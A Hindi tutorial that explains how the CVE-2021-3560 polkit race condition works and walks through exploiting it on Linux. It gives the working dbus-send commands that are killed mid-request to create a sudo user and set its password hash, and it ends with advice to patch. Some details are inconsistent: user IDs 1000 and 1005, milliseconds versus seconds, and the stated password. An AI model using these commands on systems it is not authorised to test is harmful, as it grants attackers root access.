
CVE-2021-3560 polkit भेद्यता का शोषण
2021 में, केविन बैकहाउस नाम के एक शोधकर्ता ने polkit उपयोगिता में एक विशेषाधिकार वृद्धि भेद्यता की खोज की। हालांकि, सभी लिनक्स संस्करण polkit के प्रति संवेदनशील नहीं हैं।
नीचे एक संवेदनशील संस्करण का उदाहरण दिया गया है;
लिनक्स के सबसे आधुनिक संस्करणों में पहले से ही इस भेद्यता का सुधार मौजूद है, हालांकि, ऊपर बताए गए पुराने संस्करणों में अभी भी यह भेद्यता मौजूद है।
Polkit एक सिस्टम सेवा है जो कई लिनक्स वितरणों पर डिफ़ॉल्ट रूप से स्थापित होती है। इसका उपयोग systemd द्वारा किया जाता है, इसलिए कोई भी लिनक्स वितरण जो systemd का उपयोग करता है, वह polkit का भी उपयोग करता है।
Polkit वह सिस्टम सेवा है जो पर्दे के पीछे चल रही होती है जब आप एक डायलॉग बॉक्स देखते हैं, उदाहरण;
यदि कभी भी आपको अनुमतियाँ बदलने या उच्च विशेषाधिकारों की आवश्यकता वाला कुछ करने की आवश्यकता होती है, जैसे कि उपयोगकर्ता खाता बनाना, तो Polkit उस कार्रवाई को अनुमति देने या अस्वीकार करने के लिए जिम्मेदार होता है।
CVE-2021-3560 एक अविश्वसनीय स्थानीय हमलावर को रूट विशेषाधिकार प्राप्त करने में सक्षम बनाता है। इसका शोषण करना बहुत सरल और त्वरित है, इसलिए यह महत्वपूर्ण है कि आप अपने लिनक्स इंस्टॉलेशन को जल्द से जल्द अपडेट करें। कोई भी सिस्टम जिसमें polkit संस्करण 0.113 (या बाद का) स्थापित है, वह संवेदनशील है। इसमें RHEL 8 और Ubuntu 20.04 जैसे लोकप्रिय वितरण शामिल हैं।
dbus-daemon को मैन्युअल रूप से dbus संदेश भेजकर (प्रभावी रूप से एक API जो विभिन्न प्रक्रियाओं को एक-दूसरे के साथ संवाद करने की क्षमता देता है), फिर अनुरोध को पूरी तरह से संसाधित होने से पहले मारकर, हम polkit को कमांड को अधिकृत करने के लिए धोखा दे सकते हैं।
dbus-daemon एक प्रोग्राम है जो पृष्ठभूमि में चलता है और एप्लिकेशन के बीच संदेशों की मध्यस्थता करता है।
मूल रूप से इस भेद्यता का दोहन निम्नलिखित चरणों का पालन करके किया जाएगा;
हमलावर मैन्युअल रूप से accounts-daemon को एक dbus संदेश भेजता है जिसमें sudo अनुमतियों (या बाद में, नए उपयोगकर्ता के लिए एक पासवर्ड सेट करने) के साथ एक नया खाता बनाने का अनुरोध किया जाता है। इस संदेश को dbus-daemon द्वारा एक अद्वितीय आईडी दी जाती है।
हमलावर polkit द्वारा संदेश प्राप्त करने के बाद, लेकिन polkit द्वारा संदेश को संसाधित करने का मौका मिलने से पहले, संदेश को मार देता है। यह प्रभावी रूप से अद्वितीय संदेश आईडी को नष्ट कर देता है।
Polkit dbus-daemon से उस संदेश को भेजने वाले उपयोगकर्ता की उपयोगकर्ता आईडी के लिए पूछता है, जो अब हटाई गई संदेश आईडी का संदर्भ देता है।
dbus-daemon संदेश आईडी नहीं ढूंढ पाता क्योंकि हमने इसे चरण दो में मार दिया था। यह त्रुटि को एक त्रुटि कोड के साथ प्रतिक्रिया देकर संभालता है।
Polkit त्रुटि को गलत तरीके से संभालता है और उपयोगकर्ता आईडी के लिए 0 को प्रतिस्थापित करता है - यानी मशीन का रूट खाता।
यह सोचकर कि रूट उपयोगकर्ता ने कार्रवाई का अनुरोध किया है, polkit अनुरोध को बिना चुनौती के आगे बढ़ने देता है।
संक्षेप में, dbus-daemon द्वारा polkit को सही आईडी देने का मौका मिलने से पहले संदेश आईडी को नष्ट करके, हम polkit में खराब त्रुटि-प्रबंधन का शोषण करते हैं ताकि उपयोगिता को यह सोचने पर मजबूर किया जा सके कि अनुरोध सर्वशक्तिमान रूट उपयोगकर्ता द्वारा किया गया था।
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
इस मामले में, उपयोगकर्ता lucas बनाने का प्रयास करने पर, हमें एक संदेश मिलता है कि हमारे पास अनुमति नहीं है (प्रमाणीकरण आवश्यक है)।
यह कमांड मैन्युअल रूप से accounts डेमॉन को एक dbus संदेश भेजेगा, प्रतिक्रिया प्रिंट करेगा और lucas(string:lucas) नाम का एक नया उपयोगकर्ता बनाएगा, जिसमें "test vulns" (string:"test vulns") का विवरण और int32:1 द्वारा संदर्भित sudo समूह की सदस्यता सही पर सेट होगी।
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
इस मामले में, हम चरण 1 के समान उपयोगकर्ता निर्माण कमांड का उपयोग करते हैं, हालांकि, हम इस कमांड का समय लौटाने के लिए 'time' फ़ंक्शन का उपयोग करते हैं।
इसमें 0.011 सेकंड लगते हैं। जब भी आप कमांड चलाएंगे तो यह संख्या थोड़ी भिन्न होगी।
आइए इसे आज़माएँ। हमें dbus संदेश भेजना होगा, फिर इसे लगभग आधे रास्ते में मारना होगा:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
हमने dbus संदेश को पृष्ठभूमि कार्य में भेजा (कमांड को पृष्ठभूमि में ले जाने के लिए एम्परसेंड का उपयोग करके)। फिर हमने इसे 0.005 मिलीसेकंड के लिए सोने का निर्देश दिया, फिर पिछली प्रक्रिया ($!) को मार दिया। इसने सफलतापूर्वक नया उपयोगकर्ता बनाया, उसे sudo समूह में जोड़ा। हमें इस बिंदु पर ध्यान देना चाहिए कि इस उदाहरण में नए उपयोगकर्ता की उपयोगकर्ता आईडी 1000 है।
openssl का उपयोग करके, हम टाइप 6 (SHA512-crypt) का एक पासवर्ड और अपना सादा टेक्स्ट पासवर्ड उत्पन्न करते हैं।
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
इस मामले में हम ऊपर दिए गए चरणों में बनाई गई आईडी 1005 के लिए एक पासवर्ड (banana) शामिल कर रहे हैं।
यह भेद्यता सार्वजनिक रूप से प्रकट की गई थी, और इसका सुधार 3 जून, 2021 को जारी किया गया था और इसे CVE-2021-3560 निर्दिष्ट किया गया था।
अपनी मशीन के अपडेट को yum/apt update/upgrade. से जांचें।